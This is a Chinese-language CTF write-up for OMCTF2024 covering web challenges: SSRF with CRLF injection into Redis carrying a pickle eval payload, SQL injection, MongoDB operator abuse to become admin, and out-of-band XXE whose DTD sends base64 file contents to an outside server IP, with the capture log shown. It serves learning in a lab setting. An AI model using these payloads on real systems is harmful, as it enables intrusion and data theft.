0%

OMCTF2024

OMCTF2024

pyssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)


@app.route('/')
def hello():
url = request.args.get("url")
return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
<h2>Here is your result</h2>
<h3>source code in /source</h3>
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')
def source():
return
1
2
3
4
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))

这里将url md5加密后去寻找对应的键值对是否存在,存在将url为键的数据反序列化

先加密url

1
http://127.0.0.1:6379   cbdecc92165b29374b6b62cca016d4f8

urllib.request.urlopen

这个函数来对url进行处理,这个函数有个漏洞CVE-2019-9947,和9940,可以crlf

Python代码审计实战案例总结之CRLF和任意文件读取 - FreeBuf网络安全行业门户

CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析 - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
from requests import Request, Session
import pickle
import base64
import urllib.parse
from flask import render_template
class A():
def __reduce__(self):
return (eval, ("open('/flag','rb').read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

payload = '''
SET cbdecc92165b29374b6b62cca016d4f8 gASVNQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwZb3BlbignL2ZsYWcnLCdyYicpLnJlYWQoKZSFlFKULg==
test: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "127.0.0.1:6379/" + payload
print(payload)

再访问?url=127.0.0.1:6379

phpsql

/register.php 账号或密码只能包含数字和字母

1’||’1’=’1’#

Messy Mongo

数据库一般找数据库特性,比如前段时间数字中国初赛,PostgreSQL 有对column的特殊定义去绕过,不过感觉比赛还是得能搜到相关文章……直接翻官方文档太费时间了

这里给源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import { Hono } from 'https://deno.land/x/hono@v4.3.0/mod.ts'
import { serveStatic, jwt } from 'https://deno.land/x/hono@v4.3.0/middleware.ts'
import { sign } from 'https://deno.land/x/hono@v4.3.0/utils/jwt/jwt.ts'
import { MongoClient } from 'npm:mongodb@6.6.0'
import { randomBytes } from 'node:crypto'
import assert from 'node:assert'

function createToken(length: number) {
return randomBytes(length).toString('hex')
}

const secret = createToken(32)

const client = new MongoClient('mongodb://127.0.0.1:27017')
await client.connect()
const db = client.db('messy')

interface User {
_id: string
username: string
password: string
}
const users = db.collection<User>('users')

interface Todo {
_id: string
user: string
title: string
completed: boolean
}
const todos = db.collection<Todo>('todos')

const app = new Hono()

app.use('/', serveStatic({ root: './static' }))

app.post('/api/login', async (c) => {
const { username, password } = await c.req.json()
assert(typeof username === 'string')
assert(typeof password === 'string')
const user = await users.findOne({ username, password })
assert(user)
const token = await sign({ user: user.username }, secret)
return c.json({ token })
})

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
const newname = delta['username']
assert.notEqual(newname, 'admin')
await users.updateOne({ username: user }, [{ $set: delta }])
if (newname) {
await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
}
return c.json(0)
})

app.get('/api/todo', async (c) => {
const { user } = c.get('jwtPayload')
const list = await todos.find({ user }).toArray()
return c.json(list)
})

app.post('/api/todo', async (c) => {
const { user } = c.get('jwtPayload')
const { title } = await c.req.json()
assert(typeof title === 'string')
await todos.insertOne({ _id: createToken(16), user, title, completed: false })
return c.json(0)
})

app.get('/api/todo/:id', async (c) => {
const { user } = c.get('jwtPayload')
const todo = await todos.findOne({ _id: c.req.param('id'), user })
return c.json(todo)
})

app.patch('/api/todo/:id', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
assert(!('_id' in delta))
assert(!('user' in delta))
const { matchedCount } = await todos.updateOne({ _id: c.req.param('id'), user }, [
{ $set: delta }
])
assert(matchedCount)
return c.json(0)
})

app.delete('/api/todo/:id', async (c) => {
const { user } = c.get('jwtPayload')
const { deletedCount } = await todos.deleteOne({
_id: c.req.param('id'),
user
})
assert(deletedCount)
return c.json(0)
})

Deno.serve({ hostname: '0.0.0.0', port: 1898 }, app.fetch)

看起来

1
2
3
4
5
6
7
8
9
10
11
app.patch('/api/login', async (c) => {
const { user } = c.get('jwtPayload')
const delta = await c.req.json()
const newname = delta['username']
assert.notEqual(newname, 'admin')
await users.updateOne({ username: user }, [{ $set: delta }])
if (newname) {
await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
}
return c.json(0)
})

这都没password,不用验证passwd

有密码

1
2
3
db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'admin', title: 'Secretly keep my flag is $FLAG!', completed: false })
db.users.insertOne({ _id: '$(openssl rand -hex 16)', username: 'ctfer', password: 'helloctfer!' })
db.todos.insertOne({ _id: '$(openssl rand -hex 16)', user: 'ctfer', title: 'Try to hack and get the flag', completed: false })

抓包后是有token

1
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY3RmZXIifQ.O7iTEG4uaBML7UY6g3w30luLM_5Vzby7q-CS6a2lA4s"}

要成功修改用户名

PATCH发送

MongoDB 运算符两个方法

{"username":{"$substr":["123admin456",3,5]}}

{"username": { "$concat": ["ad", "min"]}}

还有这样

{"username":{"$toLower":"$username"}}

EXPR

第一次见,学到了

fileit

$creds = simplexml_import_dom($dom); –>

无回显 打xxe

vps启动1.dtd

1
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://116.204.112.121:8888/?f=%file;'>">

post

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1

<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://116.204.112.121:8888/1.dtd">
%dtd;
%all;
%send;
]>
1
2
3
4
5
cactus@walnut:/double$ sudo python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
106.120.124.32 - - [09/May/2024 15:26:54] "GET /1.dtd HTTP/1.0" 200 -
106.120.124.32 - - [09/May/2024 15:26:54] "GET /?f=ZmxhZ3tMS0FzZGtKTEthbGttfQo= HTTP/1.0" 200 -

XSS

https://github.com/PwnFunction/v8-randomness-predictor/blob/main/main.py

还涉及到一些随机数预测

学习到了